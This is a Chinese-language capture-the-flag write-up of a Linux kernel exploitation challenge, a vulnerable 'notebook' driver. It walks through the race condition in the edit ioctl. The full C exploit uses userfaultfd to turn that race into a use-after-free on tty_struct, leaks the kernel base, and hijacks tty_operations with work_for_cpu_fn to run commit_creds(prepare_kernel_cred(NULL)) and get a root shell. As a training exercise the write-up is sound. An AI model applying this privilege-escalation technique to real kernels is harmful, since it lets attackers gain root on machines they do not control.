抄袭的 a3 大佬的博客,各位师傅轻喷

使用内核模块实现了一个菜单题:

保护机制

从qemu启动脚本可以看到开启了smep,smap,kaslr保护机制

1
2
3
4
#!/bin/sh
stty intr ^]
exec timeout 300 qemu-system-x86_64 -m 64M -kernel bzImage -initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" -nographic -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep,+smap -monitor /dev/null 2>/dev/null -s

查看内核init脚本,禁止查看/proc/kallsyms和dmesg

1
2
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

启动内核查看保护机制,发现开启KPTI保护

1
2
/ $ grep flags /proc/cpuinfo -m 1 | grep pti
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hyperv

漏洞分析

查看漏洞模块notebook.ko,(挺不错,没有去符号:-))该模块初始化了一个设备/dev/notebook。定义了read,write,ioctl操作函数,但是read没有定义在mynote_fops里。

read函数读取全局变量notebook的指定index的内容

write函数向notebook指定index写入buf数据

ioctl函数则是定义了四个命令,分别是add,del,edit,gift四个功能
add功能,添加idx:

gift功能,可以读取notebook的内容,可以用来泄漏内核基址,或者堆地址的解密:

del功能,释放指定idx的chunk,但是会清零,不存在uaf漏洞:

edit功能,用于调整chunk大小,这里使用读锁(可以允许多个进程进入临界区,从而可以出现UAF),

exit函数会执行kfree,释放内存。

构造交互程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sched.h>

/**
* * Kernel Pwn Infrastructures
* **/

#define SUCCESS_MSG(msg) "\033[32m\033[1m[+]" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m[*]" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m[x]" msg "\033[0m"

#define log_success(msg) puts(SUCCESS_MSG(msg))
#define log_info(msg) puts(INFO_MSG(msg))
#define log_error(msg) puts(ERROR_MSG(msg))

#define DEVICE_FILE_NUM 5

struct UserArg {
size_t idx;
size_t size;
size_t *name_ptr;
}userarg;

/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


void add_note(int fd, struct UserArg *userarg) {
ioctl(fd, 0x100, userarg);
}

void gift(int fd, struct UserArg *userarg) {
ioctl(fd, 0x64, userarg);
}

void del_note(int fd, struct UserArg *userarg) {
ioctl(fd, 0x200, userarg);
}

void edit_note(int fd, struct UserArg *userarg) {
ioctl(fd, 0x300, userarg);
}

int main() {
// initialize
int dev_fd[DEVICE_FILE_NUM];
struct UserArg userarg;

// open device
for (int i=0; i < DEVICE_FILE_NUM; i++) {
dev_fd[i] = open("/dev/notebook", 0);
if (dev_fd[i] <= 0) {
printf("[x] open device %d failed!\n", i);
return -1;
}
printf("[*] open device %d success!\n", i);
}

// write hello world with name Alice
char *msg = "hello world";
char *name = "Alice";
userarg.idx = 1;
userarg.size = 0x60;
userarg.name_ptr = name;
add_note(dev_fd[0], &userarg);
write(dev_fd[0], msg, 1);
// read note
char *buf = malloc(0x100);
memset(buf, 0, 0x100);
read(dev_fd[0], buf, 1);
printf("[*] read note 1: %s", buf);
}

漏洞利用

Step1. userfaultfd构造UAF

在edit函数使用krealloc重分配object,随后使用copy_from_user从用户空间拷贝数据,因此可以分配一个特定大小的note,然后新开一个edit线程通过krealloc(0)将其释放,并且通过userfaultfd卡在这里。此时notebook数组中的object还不会被清空,此时我们只需要将其分配到其他内核结构体上即可实现UAF.

这里选择tty_struct完成利用,打开/dev/ptmx即可。

Step2. 泄漏内核基址

可以直接通过tty_structtty_operations泄漏内核基地址,其通常被初始化为全局变量ptm_unix98_opspty_unix98_ops

需要注意题目中读写会检查notebook数组中的size,而在我们通过krealloc(0)构建的UAF时其被修改为 0,因此我们需要将其修改为非0。这里发现noteadd会先修改notebook的size再进行copy_from_user(),可以利用这个来进行userfaultfd,通过noteadd来修改size.(如果使用edit会调用krealloc将原object覆盖)

Step3. 劫持 tty_operations,控制内核执行流,work_for_cpu_fn() 稳定化利用

可以直接通过write来写入堆块从而修改tty_struct->tty_operations劫持内核执行流,同时notegift会白给notebook中的object地址,这样我们可以直接将fake tty_operation布置到note中。

这里选择使用work_for_cpu_fn()来完成利用,在开启多核支持的内核中都有该函数,定义于kernel/workqueue.c中:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};

static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);

wfc->ret = wfc->fn(wfc->arg);
}

其函数可以理解为:

1
2
3
4
static void work_for_cpu_fn(size_t * args)
{
args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}

即从rdi+0x20处作为函数指针,rdi+0x28作为参数,返回值位于rdi+0x30,而tty_operation的函数指针的第一个参数为tty_struct,对我们而言可控,因此我们可以直接执行prepare_kernel_credcommit_creds,且不用考虑KPTI。

需要注意tty_struct结构被破坏了,在完成提权后需要将其内容恢复原样。

然后就是竞态条件通过创建新线程的方式需要主线程sleep等待一下。

最终exp如下,”kernelpwn.h”为a3大佬提供的文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
#define _GNU_SOURCE
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/sem.h>
#include <sched.h>
#include <pthread.h>
#include "kernelpwn.h"

/**
* * Kernel Pwn Infrastructures
* **/

#define SUCCESS_MSG(msg) "\033[32m\033[1m[+] " msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m[*] " msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m[x] " msg "\033[0m"

#define log_success(msg) puts(SUCCESS_MSG(msg))
#define log_info(msg) puts(INFO_MSG(msg))
#define log_error(msg) puts(ERROR_MSG(msg))

#define TTY_STRUCT_SIZE 0x2e0
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define PTM_UNIX98_OPS 0xffffffff81e8e440

#define WORK_FOR_CPU_FUNC 0xffffffff8109eb90
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0
#define COMMIT_CREDS 0xffffffff810a9b40

#define NOTE_NUM 16

struct UserArg {
size_t idx;
size_t size;
char *name_ptr;
}userarg;

struct KernelNotebook {
void *ptr;
size_t size;
};

int dev_fd;
sem_t evil_add_sem, evil_edit_sem;
char temp_page[0x1000] = {"eutopia0"};
char * uffd_buf;

void note_add(size_t index, size_t size, char *name_ptr) {
struct UserArg userarg = {
.idx = index,
.size = size,
.name_ptr = name_ptr
};
ioctl(dev_fd, 0x100, &userarg);
}

void gift(char *name_ptr) {
struct UserArg userarg = {
.name_ptr = name_ptr
};
ioctl(dev_fd, 0x64, &userarg);
}

void note_del(size_t index) {
struct UserArg userarg = {
.idx = index
};
ioctl(dev_fd, 0x200, &userarg);
}

void note_edit(size_t index, size_t size, char *name_ptr) {
struct UserArg userarg = {
.idx = index,
.size = size,
.name_ptr = name_ptr
};
ioctl(dev_fd, 0x300, &userarg);
}

ssize_t note_read(int idx, void *buf)
{
return read(dev_fd, buf, idx);
}

ssize_t note_write(int idx, void *buf)
{
return write(dev_fd, buf, idx);
}

void fix_size(void * args) {
sem_wait(&evil_add_sem);
note_add(0, 0x60, uffd_buf);
}

void construct_uaf(void * args) {
sem_wait(&evil_edit_sem);
note_edit(0, 0, uffd_buf);
}

int main() {
// basic work
bind_core(0);
save_status();

// initialize
struct KernelNotebook notes[NOTE_NUM];
int tty_fd;
struct tty_operations fake_tty_ops;
pthread_t uffd_monitor_thread, add_fix_size_thread, edit_uaf_thread;
size_t fake_tty_struct_data[0x100], tty_ops, orig_tty_struct_data[0x100];
size_t tty_struct_addr, fake_tty_ops_addr;
struct UserArg userarg;

// init sem
sem_init(&evil_add_sem, 0, 0);
sem_init(&evil_edit_sem, 0, 0);

// open device
dev_fd = open("/dev/notebook", O_RDWR);
if (dev_fd <= 0) {
printf("[x] open device failed!\n");
return -1;
}
printf("[*] open device success!\n");


log_info("Step1: construct UAF by userfaultfd");
// add note with TTY_STRUCT_SIZE
note_add(0, 0x10, "eutopia0");
note_edit(0, TTY_STRUCT_SIZE, temp_page);

// register userfaultfd
uffd_buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd_for_thread_stucking(&uffd_monitor_thread, uffd_buf, 0x1000);

pthread_create(&edit_uaf_thread, NULL, (void *)construct_uaf, NULL);
pthread_create(&add_fix_size_thread, NULL, (void *)fix_size, NULL);

sem_post(&evil_edit_sem);
// need to edit first and then add
sleep(1);
sem_post(&evil_add_sem);
sleep(1);
log_info("Step2: Leaking kernel base by tty_struct");
// open /dev/ptmx to get kfree note object, need to sleep 1s to wait for note object to be kfreed
tty_fd = open("/dev/ptmx", O_RDWR);
note_read(0, orig_tty_struct_data);
if (*(int *) orig_tty_struct_data != 0x5401) {
err_exit("failed to hit the tty_struct!");
}

tty_ops = orig_tty_struct_data[3];
kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff)
? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS);
kernel_base += kernel_offset;

printf("[*] Kernel offset: 0x%lx\n", kernel_offset);
printf("[+] Kernel base: 0x%lx\n", kernel_base);

fake_tty_ops.ioctl = (void *)(kernel_offset + WORK_FOR_CPU_FUNC);
note_add(1, 0x50, temp_page);
note_edit(1, sizeof(struct tty_operations), temp_page);
note_write(1, &fake_tty_ops);

log_info("Step3: Leaking Kernel heap addr by gift...");
gift((char *)&notes);
tty_struct_addr = (size_t) notes[0].ptr;
fake_tty_ops_addr = (size_t) notes[1].ptr;

printf("[+] tty_struct addr: 0x%lx\n", tty_struct_addr);
printf("[+] fake_tty_ops_addr: 0x%lx\n", fake_tty_ops_addr);

// prepare_kernel_cred(NULL)
log_info("Step3: Trigger commit_creds(prepare_kernel_cred(NULL)) and fix tty");
memcpy(fake_tty_struct_data, orig_tty_struct_data, TTY_STRUCT_SIZE);
fake_tty_struct_data[3] = fake_tty_ops_addr;
fake_tty_struct_data[4] = kernel_offset + PREPARE_KERNEL_CRED;
fake_tty_struct_data[5] = 0;

note_write(0, fake_tty_struct_data);

// trigger work_for_cpu_fn
ioctl(tty_fd, 233, 233);

// commit_creds(prepare_kernel_cred(NULL))
note_read(0, fake_tty_struct_data);
fake_tty_struct_data[4] = kernel_offset + COMMIT_CREDS;
fake_tty_struct_data[5] = fake_tty_struct_data[6];
fake_tty_struct_data[6] = orig_tty_struct_data[6];

note_write(0, fake_tty_struct_data);
ioctl(tty_fd, 233, 233);
memcpy(fake_tty_struct_data, orig_tty_struct_data, TTY_STRUCT_SIZE);
note_write(0, fake_tty_struct_data);

get_root_shell();

return 0;
}

参考链接

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x05-%E6%9D%A1%E4%BB%B6%E7%AB%9E%E4%BA%89%EF%BC%88Race-condition%EF%BC%89